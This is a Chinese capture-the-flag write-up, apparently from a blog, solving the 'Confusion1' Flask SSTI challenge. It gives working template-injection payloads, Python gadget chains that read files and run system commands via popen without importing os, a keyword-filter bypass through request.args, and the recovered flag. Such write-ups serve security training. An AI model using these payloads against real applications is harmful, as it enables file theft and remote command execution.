当前位置: 首页 > ai >正文

攻防世界 - Web - Level 4 | Confusion1

🌟 关注这个靶场的其它相关笔记:CTF 靶场笔记 —— 攻防世界(XCTF)· 过关思路合集

0x01:考点速览

本关考察的是 Python Flask 的 SSTI 模板注入漏洞,需要掌握以下技巧方可过关:

  • Python Flask SSTI 模板注入漏洞 -> {{x}} 里的代码会执行

  • Python 不导入 os 包,照样执行系统命令

  • SSTI 关键字绕过:{{''.__class__}} <-> {{''[request.args.a]}}?a=__class__

0x02:WriteUP

进入靶场,是一只蛇缠绕着一只大象(Python & PHP):

随便点点,发现除了 Home 页面,Login,Register 都是会报错的,不过,也有意外收获:

通过查看页面源码,我们成功获得了 Flag 文件的保存路径,备注中还有一个叫 Salt 文件的,暂时不知道有啥用。

仔细观察页面回显的报错信息,The requested URL /login.php was not found on this server. 它报错的太全了,连你访问的路径都报出来了。如果你再仔细看看响应包,会从中找出两套 Server,一套是 Python 一套是 PHP:

结合一下题目的提示,很明显本次考察的是 Python 的 SSTI 漏洞,在 SSTI 模板注入漏洞中,{{x}} 中的内容会被后端执行,如下:

http://61.147.171.105:61016/login.php{{7*7}}

输出了 /49,说明我们的 7*7 被自动执行运算了。既然能执行运算,那其他代码,不也就可以咯。

好的,下面的问题是怎么构造 Payload 能进行读取文件,或者直接执行系统命令。这个需要一点 Python 基础,下面给一个循循善诱的例子,实验环境是 Kali 系统,Python 版本为 2.7.18:

# __class__ 获取当前对象所属的类
print("a".__class__)  # 输出:<type 'str'># __mro__ 获取当前类的继承顺序
print("a".__class__.__mro__)  # 输出:(<type 'str'>, <type 'basestring'>, <type 'object'>)   -> str 类继承自 basestring 类,basestring 类继承自 object 类# __subclasses__() 获取当前类的子类集合
print("a".__class__.__mro__[2].__subclasses__())  # 输出:[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, ......, <class 'codecs.IncrementalDecoder'>] -> 太多了就不全部列出来了,毕竟是 Object 的子类# Python2 的 Object 类的子类中有一个类型为 file 的可以进行文件的读取,找一下它的位置
print([(index, i) for index, i in enumerate("a".__class__.__mro__[2].__subclasses__()) if "file" in str(i)])    # 输出:[(40, <type 'file'>)]  -> 该类的下标为 40
# 使用 <type 'file'> 读取一个文件
print("a".__class__.__mro__[2].__subclasses__()[40])                    # 输出:<type 'file'>
print("a".__class__.__mro__[2].__subclasses__()[40]("flag.txt"))        # 输出:<open file 'flag.txt', mode 'r' at 0x7fa5b0770ae0>
print("a".__class__.__mro__[2].__subclasses__()[40]("flag.txt").read()) # 输出:'Welcome to my blog\xef\xbc\x81\n'     -> 调用 read() 方法显示具体内容
# 提示:"a".__class__.__mro__[2].__subclasses__()[40] 其实等价于调用 file 函数# 拓展:在 Python3 中,我们执行系统命令需要 import os 包,那么有没有办法,不导包,就直接执行系统命令?(在 Python 3.9 的环境里运行试试)
if __name__ == "__main__":file_path = input("请输入待读取的文件路径:")print("a".__class__.__bases__[0].__subclasses__()[[str(i) for i in "a".__class__.__bases__[0].__subclasses__()].index("<class 'os._wrap_close'>")].__init__.__globals__['__builtins__']['open'](file_path).read())exec_code = input("请输入待执行的系统命令:")print("a".__class__.__bases__[0].__subclasses__()[[str(i) for i in "a".__class__.__bases__[0].__subclasses__()].index("<class 'os._wrap_close'>")].__init__.__globals__['popen'](exec_code).read())

OK,知道了基础,下面我们就是往 {{}} 里填入代码了,我们先慢慢测,使用 {{''.__class__}} 查看一下返回结果:

叫我们 Find another way,看来是有敏感字符被过滤了,先测试一下哪个字符被过滤了:

{{''}}          -> 未报错
{{''.}}         -> 未报错
{{__class__}}   -> Nope! Find another way.

看来是敏感字符被过滤了,绕过方法如下:

{{''.__class__}} <-> {{''[request.args.a]}}?a=__class__

页面成功返回执行后的结果,看来我们成功绕过了对方的 WAF。我们的目的是要读取 Flag 文件,在上面的例子中,我已经给出了 Python 2 的读取文件的方法,这里就直接写我的测试过程了:

Payload 模板:''.__class__.__mro__[Object 类的位置].__subclasses__()[Type file 的位置]("flag 文件位置").read()
已知 flag_path: <!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->Test01: {{''[request.args.a]}}?a=__class__
return <type 'str'>Test02: {{''[request.args.a][request.args.b]}}?a=__class__&b=__mro__
return (<type 'str'>, <type 'basestring'>, <type 'object'>)Test03: {{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
return [<type 'type'>, <type 'weakref'>, ..... <type 'method-wrapper'>]从 Test03 测试下来的 Object 的子类中找到 file 类型的位置 -> 40Test04: {{''[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")}}?a=__class__&b=__mro__&c=__subclasses__
return <open file '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt', mode 'r' at 0x7f3a11b6b780>Test05: {{''[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
return cyberpeace{e34001b5f6187ce5a51a6b7ebc803adc}

http://www.xdnf.cn/news/3291.html

相关文章:

  • qemu学习笔记:QOM
  • AWS CloudFront全球加速利器:解析出海业务的核心优势与最佳实践
  • 2025五一数学建模ABC题选题建议,思路模型分析
  • Hive数据倾斜 常见解决办法
  • 深度学习框架搭建(Vscode/Anaconda/CUDA/Pytroch)
  • 基于单片机的音频信号处理系统设计(三)
  • LangChain简明教程(12)
  • Ubuntu 安装 Cursor
  • donet使用指定版本sdk
  • Python数据分析课程实验-2
  • C#类访问修饰符
  • 经济学和奥地利学派的起源
  • WEB UI自动化测试之Selenium框架学习
  • 面试中系统化地解答系统设计题:通用方法论
  • Unity图片导入设置
  • C++11新特性_范围-based for 循环
  • 五一北方穿外套:南方要防暑
  • 33、VS中提示“以下文件中的行尾不一致。是否将行尾标准化?“是什么意思?
  • SpringBoot使用分组校验解决同一个实体对象在不同场景下需要不同校验规则的问题
  • [更新完毕]2025东三省A题深圳杯A题数学建模挑战赛数模思路代码文章教学:热弹性物理参数估计
  • 5月1日日记
  • terraform生成随机密码
  • 类和对象(拷贝构造和运算符重载)下
  • 【2025域适应科研日报】
  • 0基础 | Proteus电路仿真 | 电机使用
  • Spring MVC @PathVariable 注解怎么用?
  • 网络编程——TCP和UDP详细讲解
  • 【Java学习笔记】递归
  • CSS响应式与自适应设计
  • 【Linux网络】I/O多路转接技术 - epoll